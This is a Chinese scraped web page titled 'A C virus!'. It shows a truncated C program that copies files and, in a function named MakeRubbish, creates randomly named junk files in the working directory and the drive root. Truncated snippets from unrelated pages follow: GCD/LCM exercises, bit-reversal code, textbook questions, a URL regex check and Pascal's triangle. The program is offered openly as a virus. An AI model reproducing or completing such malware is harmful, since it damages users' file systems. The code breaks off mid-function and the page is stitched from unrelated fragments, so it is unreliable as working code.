一个C病毒 !
//连接头文件
#include <io.h>
#include <dir.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
//拷贝文件模块
int copyfile (char *infile, char *outfile)
{
FILE *in,*out; //定义文件指针
in = fopen(infile,"r"); //打开文件
out = fopen(outfile,"w"); //建立文件
while (!feof(in)) //判断文件是否已结束
{
fputc (fgetc(in),out); //从in读一字符到out
}
fclose (in); //关闭in文件
fclose (out);//关闭out文件
return 0; //返回
}
int MakeRubbish (void)
{
int i; //声明整形变量i
FILE *fp; //文件指针fp
char *path; //路径指针
char *NewName;
char *disk[7] = {"A","B","C","D","E","F","G"}; //初始化指针数组
char *addtion = ":\\";
for (i = 0; i<5; i++) //循环4次
{
char tempname[] = "XXXXXX" ; //随机名字
NewName = mktemp(tempname); //建立唯一的文件名
fp = fopen(NewName,"w"); //创建文本文件
fclose (fp); //关闭fp文件流
}
path = strcat(disk[getdisk()],addtion); //得到根编号
chdir(path); //改变工作目录
for (i = 0; i<5; i++) //循环次数
{
char tempname[] = "XXXXXX"; //串赋入数组
NewName = mktemp(tempname); //建立唯一的文件名
fp = fopen(NewName,"w"); //创建新文件
fclose (fp); //关闭文件
&n
相关文档:
1.写出两个函数,分别求两个整数的最大公约数和最小公倍数,用主函数调用这两个函数,并输出结果。两个整数由键盘输入。
#include<stdio.h>
int gcd(int,int);
int lcm(int,int);
int gcd(int m,int n)
{
if(m%n==0)
return n;
else
return gcd(n,m%n);
}
int lcm(int m,int n)
{
return m*n/(gc ......
位和字节的重排在密码学算法中有广泛的应用。
/* rearran.c:位和字节的重排 */
/* 位反转:以字的中心为对称点进行位反射
例如: abcd efgh ijkl mnop ABCD EFGH IJKL MNOP
位反转:PONM LKJI HGFE DCBA ponm lkji hgfe dcba */
unsigned rev(unsigned x){
/* 交换相邻的单个位 */
x=(x & 0x5 ......
1.1请根据自己的认识,写出C语言的主要特点。
1.2C语言的主要用途是什么?它和其他高级语言有什么异同?
1.3写出一个C程序的构成。
1.4C语言以函数为程序的基本单位,有什么好处?
1.5请参照本章例题,编写一个C程序,输出一下信息:
×××××××××××& ......
#include<stdio.h>
#include<regex.h>
int main(int argc, char** argv)
{
if(IsLegalPage("http://www.baidu.com"))
printf("该网页合法\n");
else printf("该网页不合法!!!\n");
return 0;
}
/* 函数说明:判断网页是否合法
* 输入参数:需要判断的网 ......
也是中软笔试的算法题,当时并不知道叫杨辉三角,唉。N年不用了,还得再拾起,为了那个梦。
#include <stdio.h>
void main()
{
int a[50][50];
int i,j,n;
printf("Please input Number:");
scanf("%d",&n);
  ......